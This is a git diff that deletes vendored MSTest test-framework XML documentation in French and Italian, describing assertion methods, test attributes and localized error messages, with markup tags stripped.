des instances - du type attendu, et lève une exception si le type attendu - n'est pas dans la hiérarchie d'héritage d'un ou de plusieurs éléments. - - - Collection contenant des éléments que le test considère comme étant - du type spécifié. - - - Type attendu de chaque élément de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Teste si tous les éléments de la collection spécifiée sont des instances - du type attendu, et lève une exception si le type attendu - n'est pas dans la hiérarchie d'héritage d'un ou de plusieurs éléments. - - - Collection contenant des éléments que le test considère comme étant - du type spécifié. - - - Type attendu de chaque élément de . - - - Message à inclure dans l'exception quand un élément présent dans - n'est pas une instance de - . Le message s'affiche dans les résultats des tests. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Teste si tous les éléments de la collection spécifiée sont des instances - du type attendu, et lève une exception si le type attendu - n'est pas dans la hiérarchie d'héritage d'un ou de plusieurs éléments. - - - Collection contenant des éléments que le test considère comme étant - du type spécifié. - - - Type attendu de chaque élément de . - - - Message à inclure dans l'exception quand un élément présent dans - n'est pas une instance de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Détermine si la première collection est un sous-ensemble de la seconde - collection. Si l'un des deux ensembles contient des éléments dupliqués, le nombre - d'occurrences de l'élément dans le sous-ensemble doit être inférieur ou - égal au nombre d'occurrences dans le sur-ensemble. - - - Collection dans laquelle le test est censé être contenu . - - - Collection que le test est censé contenir . - - - True si est un sous-ensemble de - , sinon false. - - - - - Construit un dictionnaire contenant le nombre d'occurrences de chaque - élément dans la collection spécifiée. - - - Collection à traiter. - - - Nombre d'éléments de valeur null dans la collection. - - - Dictionnaire contenant le nombre d'occurrences de chaque élément - dans la collection spécifiée. - - - - - Recherche un élément incompatible parmi les deux collections. Un élément incompatible - est un élément qui n'apparaît pas avec la même fréquence dans la - collection attendue et dans la collection réelle. Les - collections sont supposées être des références non null distinctes ayant le - même nombre d'éléments. L'appelant est responsable de ce niveau de - vérification. S'il n'existe aucun élément incompatible, la fonction retourne - la valeur false et les paramètres out ne doivent pas être utilisés. - - - Première collection à comparer. - - - Seconde collection à comparer. - - - Nombre attendu d'occurrences de - ou 0, s'il n'y a aucune incompatibilité - des éléments. - - - Nombre réel d'occurrences de - ou 0, s'il n'y a aucune incompatibilité - des éléments. - - - Élément incompatible (pouvant avoir une valeur null), ou valeur null s'il n'existe aucun - élément incompatible. - - - true si un élément incompatible est trouvé ; sinon, false. - - - - - compare les objets via object.Equals - - - - - Classe de base pour les exceptions de framework. - - - - - Initialise une nouvelle instance de la classe . - - - - - Initialise une nouvelle instance de la classe . - - Message. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message. - - - - Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. - - - - - Retourne l'instance ResourceManager mise en cache utilisée par cette classe. - - - - - Remplace la propriété CurrentUICulture du thread actuel pour toutes - les recherches de ressources à l'aide de cette classe de ressource fortement typée. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne Access comporte une syntaxe non valide. - - - - - Recherche une chaîne localisée semblable à celle-ci : La collection attendue contient {1} occurrence(s) de <{2}>. La collection réelle contient {3} occurrence(s). {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Un élément dupliqué a été trouvé : <{1}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Attendu : <{1}>. La casse est différente pour la valeur réelle : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Différence attendue non supérieure à <{3}> comprise entre la valeur attendue <{1}> et la valeur réelle <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Attendu : <{1} ({2})>. Réel : <{3} ({4})>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Attendu : <{1}>. Réel : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Différence attendue supérieure à <{3}> comprise entre la valeur attendue <{1}> et la valeur réelle <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Toute valeur attendue sauf : <{1}>. Réel : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Ne passez pas de types valeur à AreSame(). Les valeurs converties en Object ne seront plus jamais les mêmes. Si possible, utilisez AreEqual(). {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Échec de {0}. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : async TestMethod utilisé avec UITestMethodAttribute n'est pas pris en charge. Supprimez async ou utilisez TestMethodAttribute. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections sont vides. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections contiennent des éléments identiques. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections Reference pointent vers le même objet Collection. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections contiennent les mêmes éléments. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : {0}({1}). - - - - - Recherche une chaîne localisée semblable à celle-ci : (null). - - - - - Recherche une chaîne localisée semblable à celle-ci : (objet). - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne contient pas la chaîne '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : {0} ({1}). - - - - - Recherche une chaîne localisée semblable à celle-ci : Assert.Equals ne doit pas être utilisé pour les assertions. Utilisez Assert.AreEqual et des surcharges à la place. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le nombre d'éléments dans les collections ne correspond pas. Attendu : <{1}>. Réel : <{2}>.{0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les éléments à l'index {0} ne correspondent pas. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'élément à l'index {1} n'est pas du type attendu. Type attendu : <{2}>. Type réel : <{3}>.{0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'élément à l'index {1} est (null). Type attendu : <{2}>.{0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne se termine pas par la chaîne '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Argument non valide - EqualsTester ne peut pas utiliser de valeurs null. - - - - - Recherche une chaîne localisée semblable à celle-ci : Impossible de convertir un objet de type {0} en {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'objet interne référencé n'est plus valide. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le paramètre '{0}' est non valide. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La propriété {0} a le type {1} ; type attendu {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : {0} Type attendu : <{1}>. Type réel : <{2}>. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne correspond pas au modèle '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Type incorrect : <{1}>. Type réel : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' correspond au modèle '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Aucun DataRowAttribute spécifié. Au moins un DataRowAttribute est nécessaire avec DataTestMethodAttribute. - - - - - Recherche une chaîne localisée semblable à celle-ci : Aucune exception levée. Exception {1} attendue. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le paramètre '{0}' est non valide. La valeur ne peut pas être null. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Nombre d'éléments différent. - - - - - Recherche une chaîne localisée semblable à celle-ci : - Le constructeur doté de la signature spécifiée est introuvable. Vous devrez peut-être régénérer votre accesseur private, - ou le membre est peut-être private et défini sur une classe de base. Si le dernier cas est vrai, vous devez transmettre le type - qui définit le membre dans le constructeur de PrivateObject. - . - - - - - Recherche une chaîne localisée semblable à celle-ci : - Le membre spécifié ({0}) est introuvable. Vous devrez peut-être régénérer votre accesseur private, - ou le membre est peut-être private et défini sur une classe de base. Si le dernier cas est vrai, vous devez transmettre le type - qui définit le membre dans le constructeur de PrivateObject. - . - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne commence pas par la chaîne '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le type de l'exception attendue doit être System.Exception ou un type dérivé de System.Exception. - - - - - Recherche une chaîne localisée semblable à celle-ci : (Échec de la réception du message pour une exception de type {0} en raison d'une exception.). - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test n'a pas levé l'exception attendue {0}. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test n'a pas levé d'exception. Une exception était attendue par l'attribut {0} défini sur la méthode de test. - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test a levé l'exception {0}, mais l'exception {1} était attendue. Message d'exception : {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test a levé l'exception {0}, mais l'exception {1} (ou un type dérivé de cette dernière) était attendue. Message d'exception : {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'exception {2} a été levée, mais l'exception {1} était attendue. {0} - Message d'exception : {3} - Arborescence des appels de procédure : {4}. - - - - - résultats du test unitaire - - - - - Le test a été exécuté mais des problèmes se sont produits. - Il peut s'agir de problèmes liés à des exceptions ou des échecs d'assertion. - - - - - Test effectué, mais nous ne pouvons pas dire s'il s'agit d'une réussite ou d'un échec. - Utilisable éventuellement pour les tests abandonnés. - - - - - Le test a été exécuté sans problème. - - - - - Le test est en cours d'exécution. - - - - - Une erreur système s'est produite pendant que nous tentions d'exécuter un test. - - - - - Délai d'expiration du test. - - - - - Test abandonné par l'utilisateur. - - - - - Le test est dans un état inconnu - - - - - Fournit une fonctionnalité d'assistance pour le framework de tests unitaires - - - - - Obtient les messages d'exception, notamment les messages de toutes les exceptions internes - de manière récursive - - Exception pour laquelle les messages sont obtenus - chaîne avec les informations du message d'erreur - - - - Énumération des délais d'expiration, qui peut être utilisée avec la classe . - Le type de l'énumération doit correspondre - - - - - Infini. - - - - - Attribut de la classe de test. - - - - - Obtient un attribut de méthode de test qui permet d'exécuter ce test. - - Instance d'attribut de méthode de test définie sur cette méthode. - Le à utiliser pour exécuter ce test. - Extensions can override this method to customize how all methods in a class are run. - - - - Attribut de la méthode de test. - - - - - Exécute une méthode de test. - - Méthode de test à exécuter. - Tableau d'objets TestResult qui représentent le ou les résultats du test. - Extensions can override this method to customize running a TestMethod. - - - - Attribut d'initialisation du test. - - - - - Attribut de nettoyage du test. - - - - - Attribut ignore. - - - - - Attribut de la propriété de test. - - - - - Initialise une nouvelle instance de la classe . - - - Nom. - - - Valeur. - - - - - Obtient le nom. - - - - - Obtient la valeur. - - - - - Attribut d'initialisation de la classe. - - - - - Attribut de nettoyage de la classe. - - - - - Attribut d'initialisation de l'assembly. - - - - - Attribut de nettoyage de l'assembly. - - - - - Propriétaire du test - - - - - Initialise une nouvelle instance de la classe . - - - Propriétaire. - - - - - Obtient le propriétaire. - - - - - Attribut Priority utilisé pour spécifier la priorité d'un test unitaire. - - - - - Initialise une nouvelle instance de la classe . - - - Priorité. - - - - - Obtient la priorité. - - - - - Description du test - - - - - Initialise une nouvelle instance de la classe pour décrire un test. - - Description. - - - - Obtient la description d'un test. - - - - - URI de structure de projet CSS - - - - - Initialise une nouvelle instance de la classe pour l'URI de structure de projet CSS. - - URI de structure de projet CSS. - - - - Obtient l'URI de structure de projet CSS. - - - - - URI d'itération CSS - - - - - Initialise une nouvelle instance de la classe pour l'URI d'itération CSS. - - URI d'itération CSS. - - - - Obtient l'URI d'itération CSS. - - - - - Attribut WorkItem permettant de spécifier un élément de travail associé à ce test. - - - - - Initialise une nouvelle instance de la classe pour l'attribut WorkItem. - - ID d'un élément de travail. - - - - Obtient l'ID d'un élément de travail associé. - - - - - Attribut Timeout utilisé pour spécifier le délai d'expiration d'un test unitaire. - - - - - Initialise une nouvelle instance de la classe . - - - Délai d'expiration. - - - - - Initialise une nouvelle instance de la classe avec un délai d'expiration prédéfini - - - Délai d'expiration - - - - - Obtient le délai d'attente. - - - - - Objet TestResult à retourner à l'adaptateur. - - - - - Initialise une nouvelle instance de la classe . - - - - - Obtient ou définit le nom d'affichage du résultat. Utile pour retourner plusieurs résultats. - En cas de valeur null, le nom de la méthode est utilisé en tant que DisplayName. - - - - - Obtient ou définit le résultat de l'exécution du test. - - - - - Obtient ou définit l'exception levée en cas d'échec du test. - - - - - Obtient ou définit la sortie du message journalisé par le code de test. - - - - - Obtient ou définit la sortie du message journalisé par le code de test. - - - - - Obtient ou définit les traces de débogage du code de test. - - - - - Gets or sets the debug traces by test code. - - - - - Obtient ou définit la durée de l'exécution du test. - - - - - Obtient ou définit l'index de ligne de données dans la source de données. Défini uniquement pour les résultats de - l'exécution individuelle de la ligne de données d'un test piloté par les données. - - - - - Obtient ou définit la valeur renvoyée de la méthode de test. (Toujours null). - - - - - Obtient ou définit les fichiers de résultats attachés par le test. - - - - - Spécifie la chaîne de connexion, le nom de la table et la méthode d'accès aux lignes pour les tests pilotés par les données. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nom du fournisseur par défaut de DataSource. - - - - - Méthode d'accès aux données par défaut. - - - - - Initialise une nouvelle instance de la classe . Cette instance va être initialisée avec un fournisseur de données, une chaîne de connexion, une table de données et une méthode d'accès aux données pour accéder à la source de données. - - Nom du fournisseur de données invariant, par exemple System.Data.SqlClient - - Chaîne de connexion spécifique au fournisseur de données. - AVERTISSEMENT : La chaîne de connexion peut contenir des données sensibles (par exemple, un mot de passe). - La chaîne de connexion est stockée en texte brut dans le code source et dans l'assembly compilé. - Restreignez l'accès au code source et à l'assembly pour protéger ces informations sensibles. - - Nom de la table de données. - Spécifie l'ordre d'accès aux données. - - - - Initialise une nouvelle instance de la classe . Cette instance va être initialisée avec une chaîne de connexion et un nom de table. - Spécifiez la chaîne de connexion et la table de données permettant d'accéder à la source de données OLEDB. - - - Chaîne de connexion spécifique au fournisseur de données. - AVERTISSEMENT : La chaîne de connexion peut contenir des données sensibles (par exemple, un mot de passe). - La chaîne de connexion est stockée en texte brut dans le code source et dans l'assembly compilé. - Restreignez l'accès au code source et à l'assembly pour protéger ces informations sensibles. - - Nom de la table de données. - - - - Initialise une nouvelle instance de la classe . Cette instance va être initialisée avec un fournisseur de données et une chaîne de connexion associés au nom du paramètre. - - Nom d'une source de données trouvée dans la section <microsoft.visualstudio.qualitytools> du fichier app.config. - - - - Obtient une valeur représentant le fournisseur de données de la source de données. - - - Nom du fournisseur de données. Si aucun fournisseur de données n'a été désigné au moment de l'initialisation de l'objet, le fournisseur par défaut de System.Data.OleDb est retourné. - - - - - Obtient une valeur représentant la chaîne de connexion de la source de données. - - - - - Obtient une valeur indiquant le nom de la table qui fournit les données. - - - - - Obtient la méthode utilisée pour accéder à la source de données. - - - - Une des valeurs possibles. Si n'est pas initialisé, ce qui entraîne le retour de la valeur par défaut . - - - - - Obtient le nom d'une source de données trouvée dans la section <microsoft.visualstudio.qualitytools> du fichier app.config. - - - - - Attribut du test piloté par les données, où les données peuvent être spécifiées inline. - - - - - Recherche toutes les lignes de données et les exécute. - - - Méthode de test. - - - Tableau des . - - - - - Exécute la méthode de test piloté par les données. - - Méthode de test à exécuter. - Ligne de données. - Résultats de l'exécution. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 8b061c2b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Usato per specificare l'elemento di distribuzione (file o directory) per la distribuzione per singolo test. - Può essere specificato in classi o metodi di test. - Può contenere più istanze dell'attributo per specificare più di un elemento. - Il percorso dell'elemento può essere assoluto o relativo; se è relativo, è relativo rispetto a RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - Inizializza una nuova istanza della classe . - - File o directory per la distribuzione. Il percorso è relativo alla directory di output della compilazione. L'elemento verrà copiato nella stessa directory degli assembly di test distribuiti. - - - - Inizializza una nuova istanza della classe - - Percorso relativo o assoluto del file o della directory per la distribuzione. Il percorso è relativo alla directory di output della compilazione. L'elemento verrà copiato nella stessa directory degli assembly di test distribuiti. - Percorso della directory in cui vengono copiati gli elementi. Può essere assoluto o relativo rispetto alla directory di distribuzione. Tutte le directory e tutti i file identificati da verranno copiati in questa directory. - - - - Ottiene il percorso della cartella o del file di origine da copiare. - - - - - Ottiene il percorso della directory in cui viene copiato l'elemento. - - - - - Esegue il codice di test nel thread dell'interfaccia utente per le app di Windows Store. - - - - - Esegue il metodo di test sul thread dell'interfaccia utente. - - - Metodo di test. - - - Matrice di . - - Throws when run on an async test method. - - - - - Classe TestContext. Questa classe deve essere completamente astratta e non deve - contenere membri. I membri verranno implementati dall'adattatore. Gli utenti del framework devono - accedere a questa classe solo tramite un'interfaccia correttamente definita. - - - - - Ottiene le proprietà di un test. - - - - - Ottiene il nome completo della classe contenente il metodo di test attualmente in esecuzione - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Ottiene il nome del metodo di test attualmente in esecuzione - - - - - Ottiene il risultato del test corrente. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index d3540c8e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Metodo di test per l'esecuzione. - - - - - Ottiene il nome del metodo di test. - - - - - Ottiene il nome della classe di test. - - - - - Ottiene il tipo restituito del metodo di test. - - - - - Ottiene i parametri del metodo di test. - - - - - Ottiene l'oggetto methodInfo per il metodo di test. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Richiama il metodo di test. - - - Argomenti da passare al metodo di test, ad esempio per test basati sui dati - - - Risultato della chiamata del metodo di test. - - - This call handles asynchronous test methods as well. - - - - - Ottiene tutti gli attributi del metodo di test. - - - Indica se l'attributo definito nella classe padre è valido. - - - Tutti gli attributi. - - - - - Ottiene l'attributo di tipo specifico. - - System.Attribute type. - - Indica se l'attributo definito nella classe padre è valido. - - - Attributi del tipo specificato. - - - - - Helper. - - - - - Parametro check non Null. - - - Parametro. - - - Nome del parametro. - - - Messaggio. - - Throws argument null exception when parameter is null. - - - - Parametro check non Null o vuoto. - - - Parametro. - - - Nome del parametro. - - - Messaggio. - - Throws ArgumentException when parameter is null. - - - - Enumerazione relativa alla modalità di accesso alle righe di dati nei test basati sui dati. - - - - - Le righe vengono restituite in ordine sequenziale. - - - - - Le righe vengono restituite in ordine casuale. - - - - - Attributo per definire i dati inline per un metodo di test. - - - - - Inizializza una nuova istanza della classe . - - Oggetto dati. - - - - Inizializza una nuova istanza della classe che accetta una matrice di argomenti. - - Oggetto dati. - Altri dati. - - - - Ottiene i dati per chiamare il metodo di test. - - - - - Ottiene o imposta il nome visualizzato nei risultati del test per la personalizzazione. - - - - - Eccezione senza risultati dell'asserzione. - - - - - Inizializza una nuova istanza della classe . - - Messaggio. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio. - - - - Inizializza una nuova istanza della classe . - - - - - Classe InternalTestFailureException. Usata per indicare un errore interno per un test case - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inizializza una nuova istanza della classe . - - Messaggio dell'eccezione. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio dell'eccezione. - - - - Inizializza una nuova istanza della classe . - - - - - Attributo che specifica di presupporre un'eccezione del tipo specificato - - - - - Inizializza una nuova istanza della classe con il tipo previsto - - Tipo dell'eccezione prevista - - - - Inizializza una nuova istanza della classe con - il tipo previsto e il messaggio da includere quando il test non genera alcuna eccezione. - - Tipo dell'eccezione prevista - - Messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Ottiene un valore che indica il tipo dell'eccezione prevista - - - - - Ottiene o imposta un valore che indica se consentire a tipi derivati dal tipo dell'eccezione prevista - di qualificarsi come previsto - - - - - Ottiene il messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Verifica che il tipo dell'eccezione generata dallo unit test sia prevista - - Eccezione generata dallo unit test - - - - Classe di base per attributi che specificano se prevedere che uno unit test restituisca un'eccezione - - - - - Inizializza una nuova istanza della classe con un messaggio per indicare nessuna eccezione - - - - - Inizializza una nuova istanza della classe con un messaggio che indica nessuna eccezione - - - Messaggio da includere nel risultato del test se il test non riesce perché non - viene generata un'eccezione - - - - - Ottiene il messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Ottiene il messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Ottiene il messaggio predefinito per indicare nessuna eccezione - - Nome del tipo di attributo di ExpectedException - Messaggio predefinito per indicare nessuna eccezione - - - - Determina se l'eccezione è prevista. Se il metodo viene completato, si - presuppone che l'eccezione era prevista. Se il metodo genera un'eccezione, si - presuppone che l'eccezione non era prevista e il messaggio dell'eccezione generata - viene incluso nel risultato del test. Si può usare la classe per - comodità. Se si usa e l'asserzione non riesce, - il risultato del test viene impostato su Senza risultati. - - Eccezione generata dallo unit test - - - - Genera di nuovo l'eccezione se si tratta di un'eccezione AssertFailedException o AssertInconclusiveException - - Eccezione da generare di nuovo se si tratta di un'eccezione di asserzione - - - - Questa classe consente all'utente di eseguire testing unità per tipi che usano tipi generici. - GenericParameterHelper soddisfa alcuni dei vincoli di tipo generici più comuni, - ad esempio: - 1. costruttore predefinito pubblico - 2. implementa l'interfaccia comune: IComparable, IEnumerable - - - - - Inizializza una nuova istanza della classe che - soddisfa il vincolo 'newable' nei generics C#. - - - This constructor initializes the Data property to a random value. - - - - - Inizializza una nuova istanza della classe che - inizializza la proprietà Data con un valore fornito dall'utente. - - Qualsiasi valore Integer - - - - Ottiene o imposta i dati - - - - - Esegue il confronto dei valori di due oggetti GenericParameterHelper - - oggetto con cui eseguire il confronto - true se il valore di obj è uguale a quello dell'oggetto GenericParameterHelper 'this'; - in caso contrario, false. - - - - Restituisce un codice hash per questo oggetto. - - Codice hash. - - - - Confronta i dati dei due oggetti . - - Oggetto con cui eseguire il confronto. - - Numero con segno che indica i valori relativi di questa istanza e di questo valore. - - - Thrown when the object passed in is not an instance of . - - - - - Restituisce un oggetto IEnumerator la cui lunghezza viene derivata dalla - proprietà Data. - - L'oggetto IEnumerator - - 